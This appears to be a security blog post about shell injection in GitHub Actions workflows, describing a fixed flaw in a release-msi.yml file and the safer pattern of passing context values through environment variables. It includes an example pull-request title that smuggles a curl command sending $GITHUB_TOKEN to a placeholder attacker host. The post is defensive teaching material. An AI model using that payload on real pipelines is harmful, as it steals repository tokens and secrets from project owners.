GitHub Actions Shell Injection: How ${{}} Variables Can Hijack Your CI/CD Pipeline
Vulnerability: GitHub Actions Shell Injection (
run-shell-injection)
Severity: 🔴 HIGH
File:.github/workflows/release-msi.yml
Fixed by: Replacing direct${{ github.* }}interpolation with intermediate environment variables
Introduction
CI/CD pipelines are the beating heart of modern software delivery. They build your code, run your tests, sign your releases, and deploy your applications — often with access to your most sensitive secrets. That's exactly what makes them a high-value target for attackers.
One of the most subtle yet dangerous vulnerabilities in GitHub Actions workflows is shell injection via context variable interpolation. It doesn't require a sophisticated exploit. It doesn't need a zero-day. In many cases, all it takes is a carefully crafted pull request title or a branch name.
This post breaks down a real shell injection vulnerability that was recently discovered and patched in a GitHub Actions release workflow (release-msi.yml). We'll explore how it works, why it's dangerous, and — most importantly — how to write workflows that are immune to this class of attack.
The Vulnerability Explained
What Is GitHub Actions Context Interpolation?
GitHub Actions workflows support a powerful templating syntax using double curly braces:
${{ github.event.pull_request.title }}
${{ github.head_ref }}
${{ github.actor }}
These expressions are evaluated before the shell script runs. Think of it like string substitution — GitHub replaces the expression with its value, and then the resulting string is handed off to the shell (bash, sh, PowerShell, etc.) for execution.
This is perfectly safe when used in non-shell contexts like if: conditions or with: input parameters. But it becomes dangerous the moment that substituted value lands inside a run: step.
The Vulnerable Pattern
Here's what the vulnerable code looks like conceptually:
# ❌ VULNERABLE: Direct interpolation in a run: step
- name: Create Release
run: |
echo "Creating release for ${{ github.event.pull_request.title }}"
gh release create "${{ github.ref_name }}" \
--title "${{ github.event.pull_request.title }}"
At first glance, this looks harmless. You're just printing the PR title and using the branch name. What could go wrong?
The Attack: Injecting Shell Commands via a PR Title
Here's the critical insight: GitHub context data is user-controlled input. Anyone who can open a pull request, create a branch, or trigger a workflow can influence the values of fields like:
github.event.pull_request.titlegithub.event.pull_request.bodygithub.head_refgithub.event.issue.titlegithub.event.comment.body
When GitHub substitutes ${{ github.event.pull_request.title }} into your run: block before the shell sees it, the result is direct shell code construction. An attacker can craft a pull request with a title like:
My Feature"; curl -s https://attacker.com/exfil?token=$GITHUB_TOKEN; echo "
After substitution, your innocent echo command becomes:
echo "Creating release for My Feature"; curl -s https://attacker.com/exfil?token=$GITHUB_TOKEN; echo ""
The shell sees three separate commands separated by semicolons. The attacker's curl command runs with full access to your runner environment — including $GITHUB_TOKEN and any other secrets loaded into the environment.
Real-World Impact
The consequences of a successful shell injection in a GitHub Actions runner are severe:
| Impact | Description |
|---|---|
| Secret Theft | All secrets injected into the environment (secrets.*) can be exfiltrated |
| Token Abuse | GITHUB_TOKEN can be used to push malicious code, create releases, or modify repository settings |
| Supply Chain Compromise | Attackers can tamper with build artifacts, insert backdoors into releases, or poison package registries |
| Lateral Movement | Cloud credentials (AWS, Azure, GCP) stored as secrets can be used to pivot into production infrastructure |
| Persistence | Attackers can modify workflow files or inject code that persists across future builds |
This is not a theoretical concern. The GitHub Security Lab and independent researchers have documented real-world exploits of this exact pattern in popular open-source repositories.
The Fix
The Secure Pattern: Intermediate Environment Variables
The fix is elegant in its simplicity. Instead of interpolating ${{ }} expressions directly into shell commands, you assign them to environment variables first using the env: block, then reference those environment variables in the shell script.
# ✅ SECURE: Use intermediate environment variables
- name: Create Release
env:
PR_TITLE: ${{ github.event.pull_request.title }}
REF_NAME: ${{ github.ref_name }}
run: |
echo "Creating release for $PR_TITLE"
gh release create "$REF_NAME" \
--title "$PR_TITLE"
Why This Works
The key difference lies in when and how the value is interpreted:
Vulnerable approach (direct interpolation):
1. GitHub evaluates ${{ github.event.pull_request.title }} → My Feature"; malicious code; echo "
2. The resulting string is embedded directly into the shell script source code
3. The shell parses and executes malicious code as a legitimate command
Secure approach (environment variable):
1. GitHub evaluates ${{ github.event.pull_request.title }} → My Feature"; malicious code; echo "
2. This value is assigned as the data value of the environment variable PR_TITLE
3. The shell script references "$PR_TITLE" — the shell treats the entire value as a data string, not as code
4. The semicolons, quotes, and backticks in the attacker's payload are never interpreted as shell syntax
This is the same principle behind SQL parameterized queries vs. string concatenation. You're separating code from data.
Before and After Comparison
# ❌ BEFORE: Shell injection vulnerability
jobs:
release:
runs-on: windows-latest
steps:
- name: Build MSI Release
run: |
$version = "${{ github.ref_name }}"
$title = "${{ github.event.release.name }}"
Write-Host "Building MSI version $version: $title"
# ... build commands using these values
# ✅ AFTER: Secure with intermediate environment variables
jobs:
release:
runs-on: windows-latest
steps:
- name: Build MSI Release
env:
RELEASE_VERSION: ${{ github.ref_name }}
RELEASE_TITLE: ${{ github.event.release.name }}
run: |
$version = "$env:RELEASE_VERSION"
$title = "$env:RELEASE_TITLE"
Write-Host "Building MSI version $version: $title"
# ... build commands using these values
💡 Note for PowerShell users: On Windows runners using PowerShell, environment variables are accessed with
$env:VARIABLE_NAMEsyntax. On Linux/macOS runners using bash, use"$VARIABLE_NAME"(always double-quoted).
The Double-Quote Rule
Always double-quote your environment variable references in shell scripts:
# ❌ Unquoted — vulnerable to word splitting and globbing
run: echo $PR_TITLE
# ✅ Double-quoted — value treated as a single string
run: echo "$PR_TITLE"
Without double quotes, an attacker could still cause issues through word splitting (spaces break the value into multiple arguments) or glob expansion (wildcards like * expand to filenames).
Prevention & Best Practices
1. Audit Your Workflows for Direct Interpolation in run: Steps
Search your workflow files for the dangerous pattern:
# Find potential shell injection patterns in GitHub Actions workflows
grep -rn '\${{' .github/workflows/ | grep -A2 'run:'
Or use this regex to find interpolation directly within run blocks:
run:.*\$\{\{|^\s+\$\{\{.*\}\}
2. Know Which Context Data Is User-Controlled
Treat these as untrusted user input — never interpolate them directly into run: steps:
# High-risk user-controlled fields
github.event.pull_request.title
github.event.pull_request.body
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.head_ref
github.event.pages.*.page_name
github.event.commits.*.message
github.event.*.name
github.event.workflow_run.head_branch
Fields like github.sha or github.run_id are generated by GitHub and are generally safe, but the environment variable pattern is a good habit regardless.
3. Use Static Analysis Tools
Semgrep (the tool that caught this vulnerability) has built-in rules for GitHub Actions security:
# Scan your workflows with Semgrep
semgrep --config "p/github-actions" .github/workflows/
actionlint is a specialized linter for GitHub Actions that catches this class of vulnerability:
# Install and run actionlint
brew install actionlint # macOS
actionlint .github/workflows/*.yml
CodeQL also has queries for GitHub Actions injection vulnerabilities and can be run as part of your own GitHub Actions pipeline.
4. Apply the Principle of Least Privilege to Workflows
Even if an injection succeeds, limiting permissions reduces the blast radius:
# Set minimal permissions at the workflow level
permissions:
contents: read
jobs:
release:
# Override with only what this job needs
permissions:
contents: write # Only if creating releases
5. Pin Actions to Full Commit SHAs
While not directly related to shell injection, pinning actions prevents supply chain attacks on your dependencies:
# ❌ Vulnerable to tag hijacking
- uses: actions/checkout@v4
# ✅ Pinned to immutable commit SHA
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
6. Enable Branch Protection and Required Reviews
Since shell injection often requires a malicious PR, requiring code review before workflows run on PRs adds a human checkpoint:
# In your workflow, use pull_request_target carefully
# and consider requiring approval for first-time contributors
on:
pull_request:
# This runs in the context of the BASE branch (safer)
# but be careful with pull_request_target
Security Standards & References
This vulnerability maps to well-known security standards:
- CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
- OWASP Top 10 2021 - A03: Injection
- OWASP CI/CD Security Top 10 - CICD-SEC-4: Poisoned Pipeline Execution (PPE)
- GitHub Security Lab: Keeping your GitHub Actions and workflows secure
- SLSA Framework: Supply chain integrity requirements
Conclusion
Shell injection in GitHub Actions is a perfect example of a vulnerability that looks harmless on the surface but carries catastrophic consequences. The ${{ }} syntax feels natural and convenient — it's used everywhere in workflow files. But in run: steps, it's a loaded gun pointed at your secrets, your code, and potentially your production infrastructure.
The fix is a single, simple pattern change that takes seconds to implement:
- Move the
${{ github.* }}expression to anenv:block - Assign it to a clearly named environment variable
- Reference that environment variable in your shell script with double quotes
That's it. No complex refactoring. No new tools required. Just a small change that closes a high-severity attack vector entirely.
The broader lesson here is that CI/CD pipelines deserve the same security scrutiny as application code. They run with elevated privileges, have access to your most sensitive secrets, and are increasingly targeted by sophisticated attackers. Treat every piece of user-controlled data in your workflows as untrusted input — because it is.
Consider integrating tools like Semgrep, actionlint, or CodeQL into your own CI/CD pipeline to catch these issues automatically before they reach production. Security is most effective when it's built into the development process, not bolted on afterward.
This vulnerability was automatically detected and fixed using OrbisAI Security. Automated security scanning of CI/CD configurations is an effective first line of defense against this class of vulnerability.